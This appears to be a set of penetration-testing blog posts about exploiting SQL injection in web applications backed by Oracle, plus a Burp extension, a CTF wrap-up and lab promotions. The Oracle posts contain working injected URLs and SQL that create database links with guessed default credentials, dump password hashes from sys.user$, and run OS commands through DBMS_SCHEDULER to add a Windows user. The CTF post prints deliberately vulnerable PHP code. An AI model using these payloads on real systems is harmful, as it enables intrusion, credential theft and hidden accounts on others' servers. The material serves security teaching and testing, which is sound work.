Abusing Oracle’s CREATE DATABASE LINK privilege for fun and profit!

Oracle database (like any other database) offers functionality to create a database link via which you can connect to a remote database. You can then run a SQL Query on the remote database and get the results. This is exactly like the Openrowset/Openquery feature of MS-SQL.

CREATE DATABASE LINK local
   CONNECT TO USERNAME IDENTIFIED BY PASSWORD
   USING 'ORCL_SID'

NetSpi did a good job at documenting how to abuse MS-SQL openquery feature. During a recent pentest, we came across a SQLi in a web application which talks to Oracle database 11g R2. Desperate, as we were, to get a shell, this is how things unfolded:


Generic integer based blind SQLi in a web app
1. picked up by BurpPro
2. Exploitation in SQLmap didn’t work by default

Reason: SQLmap’s default boolean based injection works by issuing AND clauses:

select * from foo where id=5 and 1=1
select * from foo where id=5 and 1=2

Tip 1: This works 9 out of 10 times, but if the original entry id=5 does not return any records, you will miss SQLi. So just make the first entry return records by adding or 1=1

Sqlmap will complain:

"[13:24:41] [WARNING] it appears that you have provided tainted parameter values ('id=189881 or 1=1') with most probably leftover chars from manual SQL injection tests (;()') or non-valid numerical value. Please, always use only valid parameter values so sqlmap could be able to properly run
Are you sure you want to continue? [y/N] Y"

Ignore the warning and select Y to continue. Now sqlmap will do its bit and you can get SQL Shell and extract anything you want.

SQL-shell from SQLmap

SQL-shell from SQLmap


So, after looking inside the database, we find our user has limited privileges. The database also seemed to be reasonably patched. We are not DBA and while we can extract data held in the database, we cannot have too much fun! :(

*Marketing*
As creators’ of SQLiLab we take great pride in researching new attacks and applying this research in our pentests. You can master SQLi and other injection flaws like LDAP, Xpath, XXE etc at our upcoming Black hat training class in Las Vegas. :)
*Marketing*

So, carrying on we identify that the database user has these privileges:

select privilege from session_privs [17]:
[*] CREATE SESSION
[*] UNLIMITED TABLESPACE
[*] CREATE TABLE
[*] CREATE DATABASE LINK

Immediately, the privilege CREATE DATABASE LINK caught our attention. Note that Oracle’s SQL language do not allow you to write multiple statements. So, how are we going to create a DB_LINK in a SQLi which is probably in a Select statement? Check out our previous presentation on how to overcome this using function dbms_xmlquery.newcontext(). Using this function, we were able to create multiple links inside the database:

Tip 2: If you have CREATE DATABASE LINK privilege, you can use it in a web based SQLi to brute-force/guess a user login and if successful run a query as that user:

This is how the URL/attack would look like:

http://host/vuln.jsp?id=1 and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''CREATE DATABASE LINK notsosecure_link CONNECT TO scott IDENTIFIED BY tiger USING ''''ORCL_SID'''' '';commit;end;') from dual) is not null
 

After trying a few requests, we hit the jackpot. The user dbsnmp was enabled on the database with the default credential dbsnmp. We created a link as that user:

sql-shell>select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''CREATE DATABASE LINK link2 CONNECT TO dbsnmp IDENTIFIED BY dbsnmp USING ''''ORCL_SID'''' '';commit;end;') from dual
 

The user DBSNMP has privilege “Select ANY Dictionary”, which allows you to read password hashes stored in sys.user$

And now we are able to read password hashes:

sql-shell>select password from sys.user$@link2
[*] 286E1EA8F2CFD262
[*] 45B1C0C3BB1D853C
[*] 4A3BA55E08595C81
....

Note that DBSNMP user does not have DBA role and the only ‘useful’ privilege this user has is ‘select any dictionary’. Now that we have the hashes, we can crack the hash for system user and create a link with the credentials of system user:

sql-shell>select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''CREATE DATABASE LINK pwn CONNECT TO system IDENTIFIED BY system_password USING ''''ORCL_SID'''' '';commit;end;') from dual

Now we can basically issue any query with system privileges. Those who have an account in SQliLab, should have seen a number of ways to execute OS code against Oracle with DBA role. Here is one of my favourite using function SYS.KUPP$PROC.CREATE_MASTER_PROCESS():

sql-shell>select SYS.KUPP$PROC.CREATE_MASTER_PROCESS@pwn('DBMS_SCHEDULER.create_program(''myprog10'',''EXECUTABLE'',''net user pwnedfromweb pwn3d!! /add'',0,TRUE); DBMS_SCHEDULER.create_job(job_name=>''myjob10'',program_name=>''myprog10'',start_date=>NULL,repeat_interval=>NULL,end_date=>NULL,enabled=>TRUE,auto_drop=>TRUE);dbms_lock.sleep(1);dbms_scheduler.drop_program(program_name=>''myprog10'');dbms_scheduler.purge_log;') from dual

Here we are executing the function SYS.KUPP$PROC.CREATE_MASTER_PROCESS() as SYS user via our DB_LINK ‘pwn’. Only DBA users have access to this function.
And then, we had a shell! :)

oracle hacking

Get in touch if you would like us to assess your application security.

Pentesting Web Service with anti CSRF token using BurpPro

Recently we encountered a scenario where we were pen-testing a web service endpoint which employed a per request session-id which acted like a anti-CSRF token. This meant that a fresh id was issues for each request. If the session id was not correct in next request then user was logged out.

This looks too good from security standpoint and comes out as a dream for a security evangelist’s. However such situations come across as nightmares for security pentesters. Most of our automated tools fail to work including our beloved BurpSuitePro.

Some details about the application are listed below.

The API had multiple endpoints, all except the login required a session token in soap body. Session token was first issued when you send a login request, and subsequently with every request a new sessionid was provided in SOAP response body.
Example Request response sequence is shown below.

  1. Initial Login Request with no token but username and password
    Initial Request with username and password

    Initial Request with username and password

  2. Initial Response with Session-id token
    Initial Response with sessionid in response

    Initial Response with sessionid in response

  3. next request containing session-id token from initial response
    Next request with inital sessionid added as header

    Next request with inital sessionid added as header

Multiple people have already taken a jab at the similar problem and have suggested multiple solutions. A quick google search for “anti CSRF + Burp” will yield multiple results all providing similar solutions.
However things got interesting for us as we needed the request to be in XML structure and Burp as of now only support GET / POST parameter and doesn’t support setting values of XML parameter (It does a pretty good job of doing the same in intruder via arbitrary position selection but for scanner it is not possible at this point using burp).

Few others have also encountered similar situation before but no solution was publicly available so we sat down to write a solution and make it available for all.

So we ended up writing a small extension to do the job for us.

The core issue for us was the fact that

  1. Burp doesn’t allows for arbitrary location payload positioning while in scanner mode.
  2. The token was changing with every request.

So here is what we ended up with.

  1. A session handling extension. (performs token extraction and reuse it in next request)
  2. A Macro to perform login request, then pass the response to session handling extension which will place value into the XML body inside predefined tags. Macro has to be enabled for scanner
  3. In order to ensure good coverage and not random checks its advised to first send the request to intruder and select the xml elements you need to be checked. (avoid selecting session id for scanning as this will be overwritten)
  4.  Run the active scan using “active scan defined insertion points” option.

Python code for the Extension that we built

from burp import IBurpExtender
from burp import ISessionHandlingAction
from burp import IParameter
import re
class BurpExtender(IBurpExtender, ISessionHandlingAction):
    def registerExtenderCallbacks(self, callbacks):
        self._callbacks = callbacks
        self._helpers = callbacks.getHelpers()
        callbacks.setExtensionName("Webservice session token extractor and repeater")
        callbacks.registerSessionHandlingAction(self)
        return
    def performAction(self, currentRequest, macroItems):
        requestInfo = self._helpers.analyzeRequest(currentRequest)
        headers = requestInfo.getHeaders()
        cookieList = self._callbacks.getCookieJarContents()
        msgBody = currentRequest.getRequest()[requestInfo.getBodyOffset():]
        m_response=macroItems[0].getResponse()
        macro_response=self._helpers.analyzeResponse(m_response)
        macro_response_body=self._helpers.bytesToString(m_response[macro_response.getBodyOffset():])
        sess_id=re.findall(r'<sessionId>(.*)</sessionId>',macro_response_body)
        msg = self._helpers.bytesToString(msgBody)
        msg = re.sub(r'(<sessionId>).*(</sessionId>)',r'\1' + "".join(sess_id) + r'\2',msg)
        msgBody = self._helpers.stringToBytes(msg)
        message = self._helpers.buildHttpMessage(headers, msgBody)
        currentRequest.setRequest(message)
        return

So Step by Step guide to configure this is below.

  1. Make sure Burp is configured with Jython standalone jar. (We recommend using 2.7b1 version available for download here)

    Ensure Python Environment is setup in Burp

    Ensure Python Environment is setup in Burp

  2. Save the above code listed in a .py file
  3. Load the extension in Burp

    Loading python extension in Burp

    Loading python extension in Burp

  4. We also recommend loading either “Custom Logger” or “Logger++” to ensure you are able to see the active request response sent from Scanner.

    Logging Extension for viewing Request Response from Scanner

    Logging Extension for viewing Request Response from Scanner

  5. Once all these are loaded you need to create a session handling macro which will perform the session initiation request.

    Burp Macro Creation Process Step 1

    Burp Macro Creation Process Step 1

  6. As soon as you click on Add Macro button multiple windows will open and top windows is macro recording window. This window can be used to select the existing login request or record a new login request.

    Burp Macro Creation Process Step 2

    Burp Macro Creation Process Step 2

  7. Once the request for Login is select we will have a windows listing the request place a unique name for the macro and select OK to close the windows.

    Burp Macro Creation Process Step 3

    Burp Macro Creation Process Step 3

  8. Now we need to configure a Session handling rule. Provide a unique name as session rule name and then under rule action click on Add => “Run a macro”.

    Burp Session Handling Rule Step 1

    Burp Session Handling Rule Step 1

  9. Selecting this option will open a new window showing all the available macro that can be used and some other options too. Here we need to select the previously created macro and select last option which says “After running the macro invoke a Burp Extension Handler” and in the drop-down list you should see an option “web-service session token extractor and repeater” select the entry.

    Burp Session Handling Rule Step 2

    Burp Session Handling Rule Step 2

  10. You will again reach the session handling rule editor, select the second tab i.e. “Scope”, here we deselect all tools except Scanner and we select the scope as suite scope. You can define custom scope if you want.

    Burp Session Handling Rule Step 3

    Burp Session Handling Rule Step 3

  11. Now you are ready to use the scanner. Select the request that you want to investigate and send it to intruder. Clear all preselected insertion points and add your own fuzzing points and then right click and select “active scan defined insertion point”
  12. Here while scanner is running to check if the plugin is working as expected or not you can use the custom logger / logger++ plugin we installed before. They will list all requests made from scanner in similar to proxy history method.

There is a caveats that is to be kept in mind. As every request would be accompanied by another login request and hence the request count will be double i.e for test which need 100 requests we will be making 200 requests hence expect slow scan.

However in my understanding the advantages out-weights the caveats.

Happy Web-service Hunting

While we are at webservice testing here is a Bonus tip from our side:
While nothing beats SOAP-UI in SOAP request generation we encountered a problem when we wanted to force SOAP-UI via Burp. Soap-UI was not able to make a SSL request as the Burp SSL certificate was not recognized by JAVA cert store and gave Peer not authenticated error.

SOAP-UI Peer SSL Error

SOAP-UI Peer SSL Error

Here is a bonus trick to get around this error.
Open your Burp proxy settings via Proxy => Options => Proxy Listeners (Edit) => Request Handling => Select Force use of SSL.
Now go back to SOAPUI and change endpoint from https to http and port 443 ie. soap action http://host:443/?WSDL and the service will work flawlessly.

If you would like the NotSoSecure team to assess your web applications, please get in touch with us.

SqliLab CTF, Wrap Up!

ctf_blog1

As you would have noticed from the noise on twitter and other channels, the 2nd public CTF was a major success. Over 3000 registrations, ~7K unique IPs, 7 GB of log (in 3 days) and heaps of fun. As with anything, we had some un-wanted visitors, who tried to take the CTF down with a DNS amplification DDoS attack. The Site’s performance was affected but nevertheless the CTF was active and we provided some extra time to make up for the down-time.

So, just to wrap-up. The CTF had 2 objectives. Those who obtained both the flags ended up on the leader-board. We will wait for the winners to publish their individual write-ups. In the mean-time, here is sneak up into the code/vulnerabilities.

Both the Flags were based on existing challenges in our SQli Lab. SQLi lab is an awesome place to learn and master SQL Injection. 4 databases, 27 challenges, 90 objectives and heaps of fun!

Okay, with marketing done, lets dive into the CTF. The 2 vulnerabilities on which CTF was based were:

1. Column Truncation
2. Double decode SQL Injection

The 2nd flag was particularly tricky to get and most people had difficulty getting it.

ctf_blog2

Here is some code from the application:

$comments=mysql_real_escape_string($_POST['message']);
$url=mysql_real_escape_string($_SERVER['HTTP_REFERER']);
$query = "Insert into temp values('".$comments."','".urldecode($url)."')";

The trick here is to identify the following:

1. The attack surface is not just the HTTP parameters but other headers (e.g.Referer).
2. Application is doing a urldecode on the header value after validation.

Thus, %27 (‘) gets escaped by mysql_real_escape_string() whereas %2527 doesn’t get escaped and urldecode converts it to %27 which triggers the vulnerability. Its actually common for apps to perform URLdecode on data coming from fields such as Referer. Both the vulnerabilities have affected popular applications like wordpress and we have these vulnerabilities in custom applications during our pentest.

We didn’t want people to run benchmark() and sleep() against the database, so we decided to blacklist it:

$patterns = array('sleep','benchmark');
$patterns_flattened = implode('|', $patterns);
if (preg_match('/'.$patterns_flattened .'/i',urldecode($url)))
{echo 'Attack detected';
die;
}

This made identifying the vulnerability a bit difficult. But the fact that you could see blacklisted functions gave participants a clue that this header could potentially be vulnerable. Further, you can get a feedback from the application depending on whether the SQL returned error or not.

$result = mysqli_query($dbConnection, $query);

if ($result) {

echo "Thanks!, we will be in touch...";

}
else
{
echo "Error Occured :(";
}

We will leave the CTF link live for another few days for people to have a go at it. We are not accepting any submissions now. Thanks all for playing!

Finally, if you are interested in the topic of Injection Flaws, you can register for our class at Black Hat Las Vegas 2014.

A full write-up on CTF can be found here

Oracle Hacks Added to SQLi Lab

We have just added some more awesome challenges in Sqli Lab and thought it would be good idea to share some insight about it.

Note: David Litchfield’s book Oracle Hacker’s Handbook is the best resource to learn about these attacks.

You can now practice a series of Oracle database hacks in the lab. We have opened the Oracle port (1521) on the firewall. There are challenges about the following:

• Direct Privilege escalation
• Indirect Privilege escalation
• Code execution

We have added as many as 7 privilege escalation attack vectors to practice. Areas to practice:

• Identify a vulnerable procedure created by a DBA user; exploit to become DBA
• Identify a vulnerable trigger created by a DBA user; exploit to become DBA

Abuse excessive privileges to become DBA, some of these are:

SELECT ANY DICTIONARY
CREATE ANY TRIGGER
CREATE ANY PROCEDURE
EXECUTE ANY PROCEDURE

Further, after becoming DBA there are challenges to execute OS code against oracle database both interactively (i.e. when connected to database server via database client) and non-interactively (through web based SQLi).

We currently have 27 challenges, with over 90 objectives waiting for you in SQLi lab, and when you sign up you will get:

• PDF solutions with screenshot on how a particular challenge can be solved.
• Video walk-through (with voice) for each challenge.
• A Support Forum to ask questions.

You will have access to the solutions (both pdf and video) even after your lab subscription has expired.

Here is a little teaser from one of the Oracle Challenges:

Challenge 24

Login to the oracle database based on the following information [Level: Intermediate]

Username: user3
Password: password3
IP: 192.168.2.12
Port: 1521
SID: XE
• List the permissions/privileges of current user.
• Escalate privileges and become DBA

oracle1

oracle2

oracle3

I will be giving a sneak peek inside the SQLi lab in a FREE webinar on Thursday 7th November:
https://secureninja.com/nletter/sqli_labs.html

Looking forward to seeing you in SQLi lab!

Sid

Hacking Oracle XE from Web

Note: You can practice the below mentioned hack in our SQLi Lab

In last few years, I have done a few talks/webinar on how to exploit SQL Injection in a web application which talks to Oracle database. Particularly, how to execute OS code and do privilege escalation. You may want to read about it again here:

http://www.slideshare.net/owaspindia/new-and-improved-hacking-oracle-from-web-apps-sumit-sidharth


Oracle XE is a light weight database from Oracle which is available for FREE. The downside of being a light-weight database is that it does not have some hacker-friendly procedures/functionality. Notably, the java virtual machine is not present within Oracle XE. So, executing OS code after becoming a DBA user by creating a java procedure will not work.

However, the DBMS_SCHEDULER method will allow you to execute code (provided that oracleJobScheduler service is running). So, if you have network level access to an Oracle XE and managed to get DBA access then you can follow these steps to execute code:

SQL> select banner from v$version;

BANNER
——————————————————————————-

Oracle Database 11g Express Edition Release 11.2.0.2.0 – Production
PL/SQL Release 11.2.0.2.0 – Production
CORE 11.2.0.2.0 Production
TNS for 32-bit Windows: Version 11.2.0.2.0 – Production
NLSRTL Version 11.2.0.2.0 – Production

SQL> select user from dual;

USER
——————————
SYS

using DBMS_SCHEDULER package we will run these following 5 procedures :

begin
DBMS_SCHEDULER.create_program('myprog11','EXECUTABLE','net user pwned pwn3d!! /add',0,TRUE);
DBMS_SCHEDULER.create_job(job_name=>'myjob11',program_name=>'myprog11',
start_date=>NULL,repeat_interval=>NULL,end_date=>NULL,enabled=>TRUE,auto_drop=>TRUE);
dbms_lock.sleep(1);
dbms_scheduler.drop_program(program_name=>'myprog11');
dbms_scheduler.purge_log;
end;

———

2013-10-22 18_14_21-192.168.2.12 - xe_code_exec1

and that should add a user:
2013-10-22 18_14_21-192.168.2.12 - xe_code_exec2

Cool. So, if you find a SQL Injection in a web application which talks to Oracle XE and you have privileges of DBA, then you can do the same attack from web. DBA user can call a function SYS.KUPP$PROC.CREATE_MASTER_PROCESS which lets you execute an anonymous PL/SQL block as an argument to this function. So, we can now pass all our statement as argument to this function and include this function in SQL:

select SYS.KUPP$PROC.CREATE_MASTER_PROCESS('DBMS_SCHEDULER.create_program(''myprog10'',''EXECUTABLE'',''net user pwned pwn3d!! /add'',0,TRUE);
DBMS_SCHEDULER.create_job(job_name=>''myjob10'',program_name=>''myprog10'',start_date=>NULL,repeat_interval=>NULL,end_date=>NULL,enabled=>TRUE,auto_drop=>TRUE);
dbms_lock.sleep(1);dbms_scheduler.drop_program(program_name=>''myprog10'');dbms_scheduler.purge_log;')from dual

Note: Oracle’s SQL language don’t allow execution of multiple statements and hence the importance of using the function SYS.KUPP$PROC.CREATE_MASTER_PROCESS

This is how it will look in URL:

http://host/searchResults.jsp?employeeName=JOHN' and (select SYS.KUPP$PROC.CREATE_MASTER_PROCESS('DBMS_SCHEDULER.create_program(''myprog10'',''EXECUTABLE'',''net user pwnedfromweb pwn3d!! /add'',0,TRUE);DBMS_SCHEDULER.create_job(job_name=>''myjob10'',program_name=>''myprog10'',start_date=>NULL,repeat_interval=>NULL,end_date=>NULL,enabled=>TRUE,auto_drop=>TRUE);dbms_lock.sleep(1);dbms_scheduler.drop_program(program_name=>''myprog10'');dbms_scheduler.purge_log;')from dual) is not null --

and this will add another user on the database host!

2013-10-22 18_14_21-192.168.2.12 - xe_code_exec3

SQLiLab users: Practice this attack in Challenge 20. We will soon be rolling out a new/separate challenge with this attack in mind. We will also be adding a number of Oracle goodness in next few days. Watch this space… :)